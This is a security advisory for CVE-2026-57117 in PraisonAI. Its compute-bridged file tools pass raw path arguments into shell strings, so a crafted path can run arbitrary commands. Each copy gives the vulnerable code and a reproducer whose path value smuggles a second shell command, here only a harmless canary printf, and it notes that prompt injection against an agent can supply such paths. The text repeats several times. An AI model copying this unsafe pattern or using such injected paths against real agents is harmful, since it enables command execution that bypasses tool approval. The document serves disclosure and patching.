CVE-2026-57117

PraisonAI is a multi-agent teams system. From version 4.6.10 to before version 4.6.59, LocalManagedAgent / SandboxedAgent compute bridging wraps read_file, list_files, and write_file when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers. An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With compute="local", commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container. This issue has been patched in version 4.6.59.

PraisonAI is a multi-agent teams system. From version 4.6.10 to before version 4.6.59, LocalManagedAgent / SandboxedAgent compute bridging wraps read_file, list_files, and write_file when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers. An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With compute="local", commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container. This issue has been patched in version 4.6.59.

Compute-bridged file tools allow shell command injection

Summary

LocalManagedAgent / SandboxedAgent compute bridging wraps read_file, list_files, and write_file when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers.

An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With compute="local", commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container.

Affected Product

• Repository: MervinPraison/PraisonAI
• Package: praisonai
• Component: src/praisonai/praisonai/integrations/managed_local.py
• Confirmed affected:
  • v4.6.10
  • v4.6.56
  • v4.6.57
  • current main at 2f9677abb2ea68eab864ee8b6a828fd0141612e1
• Confirmed not affected:
  • v4.6.9
  • v4.6.1
  • v4.5.149
• Suggested affected range: >= 4.6.10, <= 4.6.57

Root Cause

Current managed_local.py defines the bridged tool set:

compute_bridged_tools = {"execute_command", "read_file", "write_file", "list_files"}

For file tools, _bridge_file_tool() constructs shell command strings:

command = f'cat "{filepath}"'
command = f'ls -la "{directory}"'
command = f'cat > "{filepath}" << "EOF"\n{content}\nEOF'

The local compute provider executes the string with asyncio.create_subprocess_shell(...); the Docker compute provider executes it with ["sh", "-c", command].

The bridge keeps the low-risk read_file / list_files tool names and signatures while changing their execution primitive into shell interpretation.

Why This Is Not Intended Behavior

Compute bridging itself is documented and intentional. The vulnerability is that file path data is interpreted as shell syntax.

The normal read_file and list_files implementations treat the same payload as a literal path and do not expand shell metacharacters. The approval registry also marks execute_command as critical, while read_file and list_files are not dangerous-tool entries.

Impact

An application that exposes a PraisonAI agent using LocalManagedAgent or SandboxedAgent with a compute provider and a restricted file-tool set can be tricked into executing shell commands through a path argument to read_file or list_files.

This can bypass least-privilege tool configuration and tool-approval expectations. A prompt-injection path, chat endpoint, automation webhook, or other user-controlled agent task can supply the file path argument without the operator granting execute_command.

Local PoV

The PoV is local-only and harmless. It uses an environment canary and compares normal file tools against compute-bridged file tools.

Minimal inline reproducer:

import os
from pathlib import Path

from praisonai.integrations.managed_local import LocalManagedAgent, LocalManagedConfig
from praisonaiagents.tools import list_files, read_file

workdir = Path(".prai-cand-006-pov-workdir")
workdir.mkdir(exist_ok=True)
(workdir / "safe.txt").write_text("SAFE_CONTENT\n", encoding="utf-8")

canary = "PRAISONAI_CAND_006_COMMAND_EXECUTED"
os.environ["PRAI_CAND_006_CANARY"] = canary
payload = 'missing"; printf "$PRAI_CAND_006_CANARY"; #'

# Control: normal file tools treat the payload as a literal path.
normal_read = read_file(str(workdir / payload))
normal_list = str(list_files(str(workdir) + '"; printf "$PRAI_CAND_006_CANARY"; #'))

cfg = LocalManagedConfig(
    name="prai-cand-006-poc",
    tools=["read_file", "list_files"],
    working_dir=str(workdir),
)
managed = LocalManagedAgent(config=cfg, compute="local")
tools = {tool.__name__: tool for tool in managed._resolve_tools()}

bridged_read = tools["read_file"](payload)
bridged_list = tools["list_files"]('."; printf "$PRAI_CAND_006_CANARY"; #')
…

PraisonAI is a multi-agent teams system. From version 4.6.10 to before version 4.6.59, LocalManagedAgent / SandboxedAgent compute bridging wraps read_file, list_files, and write_file when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers. An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With compute="local", commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container. This issue has been patched in version 4.6.59.

PraisonAI is a multi-agent teams system. From version 4.6.10 to before version 4.6.59, LocalManagedAgent / SandboxedAgent compute bridging wraps read_file, list_files, and write_file when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers. An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With compute="local", commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container. This issue has been patched in version 4.6.59.

Compute-bridged file tools allow shell command injection

Summary

LocalManagedAgent / SandboxedAgent compute bridging wraps read_file, list_files, and write_file when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers.

An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With compute="local", commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container.

Affected Product

• Repository: MervinPraison/PraisonAI
• Package: praisonai
• Component: src/praisonai/praisonai/integrations/managed_local.py
• Confirmed affected:
  • v4.6.10
  • v4.6.56
  • v4.6.57
  • current main at 2f9677abb2ea68eab864ee8b6a828fd0141612e1
• Confirmed not affected:
  • v4.6.9
  • v4.6.1
  • v4.5.149
• Suggested affected range: >= 4.6.10, <= 4.6.57

Root Cause

Current managed_local.py defines the bridged tool set:

compute_bridged_tools = {"execute_command", "read_file", "write_file", "list_files"}

For file tools, _bridge_file_tool() constructs shell command strings:

command = f'cat "{filepath}"'
command = f'ls -la "{directory}"'
command = f'cat > "{filepath}" << "EOF"\n{content}\nEOF'

The local compute provider executes the string with asyncio.create_subprocess_shell(...); the Docker compute provider executes it with ["sh", "-c", command].

The bridge keeps the low-risk read_file / list_files tool names and signatures while changing their execution primitive into shell interpretation.

Why This Is Not Intended Behavior

Compute bridging itself is documented and intentional. The vulnerability is that file path data is interpreted as shell syntax.

The normal read_file and list_files implementations treat the same payload as a literal path and do not expand shell metacharacters. The approval registry also marks execute_command as critical, while read_file and list_files are not dangerous-tool entries.

Impact

An application that exposes a PraisonAI agent using LocalManagedAgent or SandboxedAgent with a compute provider and a restricted file-tool set can be tricked into executing shell commands through a path argument to read_file or list_files.

This can bypass least-privilege tool configuration and tool-approval expectations. A prompt-injection path, chat endpoint, automation webhook, or other user-controlled agent task can supply the file path argument without the operator granting execute_command.

Local PoV

The PoV is local-only and harmless. It uses an environment canary and compares normal file tools against compute-bridged file tools.

Minimal inline reproducer:

import os
from pathlib import Path

from praisonai.integrations.managed_local import LocalManagedAgent, LocalManagedConfig
from praisonaiagents.tools import list_files, read_file

workdir = Path(".prai-cand-006-pov-workdir")
workdir.mkdir(exist_ok=True)
(workdir / "safe.txt").write_text("SAFE_CONTENT\n", encoding="utf-8")

canary = "PRAISONAI_CAND_006_COMMAND_EXECUTED"
os.environ["PRAI_CAND_006_CANARY"] = canary
payload = 'missing"; printf "$PRAI_CAND_006_CANARY"; #'

# Control: normal file tools treat the payload as a literal path.
normal_read = read_file(str(workdir / payload))
normal_list = str(list_files(str(workdir) + '"; printf "$PRAI_CAND_006_CANARY"; #'))

cfg = LocalManagedConfig(
    name="prai-cand-006-poc",
    tools=["read_file", "list_files"],
    working_dir=str(workdir),
)
managed = LocalManagedAgent(config=cfg, compute="local")
tools = {tool.__name__: tool for tool in managed._resolve_tools()}

bridged_read = tools["read_file"](payload)
bridged_list = tools["list_files"]('."; printf "$PRAI_CAND_006_CANARY"; #')
…

Compute-bridged file tools allow shell command injection

Summary

LocalManagedAgent / SandboxedAgent compute bridging wraps read_file, list_files, and write_file when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers.

An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With compute="local", commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container.

Affected Product

• Repository: MervinPraison/PraisonAI
• Package: praisonai
• Component: src/praisonai/praisonai/integrations/managed_local.py
• Confirmed affected:
  • v4.6.10
  • v4.6.56
  • v4.6.57
  • current main at 2f9677abb2ea68eab864ee8b6a828fd0141612e1
• Confirmed not affected:
  • v4.6.9
  • v4.6.1
  • v4.5.149
• Suggested affected range: >= 4.6.10, <= 4.6.57

Root Cause

Current managed_local.py defines the bridged tool set:

compute_bridged_tools = {"execute_command", "read_file", "write_file", "list_files"}

For file tools, _bridge_file_tool() constructs shell command strings:

command = f'cat "{filepath}"'
command = f'ls -la "{directory}"'
command = f'cat > "{filepath}" << "EOF"\n{content}\nEOF'

The local compute provider executes the string with asyncio.create_subprocess_shell(...); the Docker compute provider executes it with ["sh", "-c", command].

The bridge keeps the low-risk read_file / list_files tool names and signatures while changing their execution primitive into shell interpretation.

Why This Is Not Intended Behavior

Compute bridging itself is documented and intentional. The vulnerability is that file path data is interpreted as shell syntax.

The normal read_file and list_files implementations treat the same payload as a literal path and do not expand shell metacharacters. The approval registry also marks execute_command as critical, while read_file and list_files are not dangerous-tool entries.

Impact

An application that exposes a PraisonAI agent using LocalManagedAgent or SandboxedAgent with a compute provider and a restricted file-tool set can be tricked into executing shell commands through a path argument to read_file or list_files.

This can bypass least-privilege tool configuration and tool-approval expectations. A prompt-injection path, chat endpoint, automation webhook, or other user-controlled agent task can supply the file path argument without the operator granting execute_command.

Local PoV

The PoV is local-only and harmless. It uses an environment canary and compares normal file tools against compute-bridged file tools.

Minimal inline reproducer:

import os
from pathlib import Path

from praisonai.integrations.managed_local import LocalManagedAgent, LocalManagedConfig
from praisonaiagents.tools import list_files, read_file

workdir = Path(".prai-cand-006-pov-workdir")
workdir.mkdir(exist_ok=True)
(workdir / "safe.txt").write_text("SAFE_CONTENT\n", encoding="utf-8")

canary = "PRAISONAI_CAND_006_COMMAND_EXECUTED"
os.environ["PRAI_CAND_006_CANARY"] = canary
payload = 'missing"; printf "$PRAI_CAND_006_CANARY"; #'

# Control: normal file tools treat the payload as a literal path.
normal_read = read_file(str(workdir / payload))
normal_list = str(list_files(str(workdir) + '"; printf "$PRAI_CAND_006_CANARY"; #'))

cfg = LocalManagedConfig(
    name="prai-cand-006-poc",
    tools=["read_file", "list_files"],
    working_dir=str(workdir),
)
managed = LocalManagedAgent(config=cfg, compute="local")
tools = {tool.__name__: tool for tool in managed._resolve_tools()}

bridged_read = tools["read_file"](payload)
bridged_list = tools["list_files"]('."; printf "$PRAI_CAND_006_CANARY"; #')
…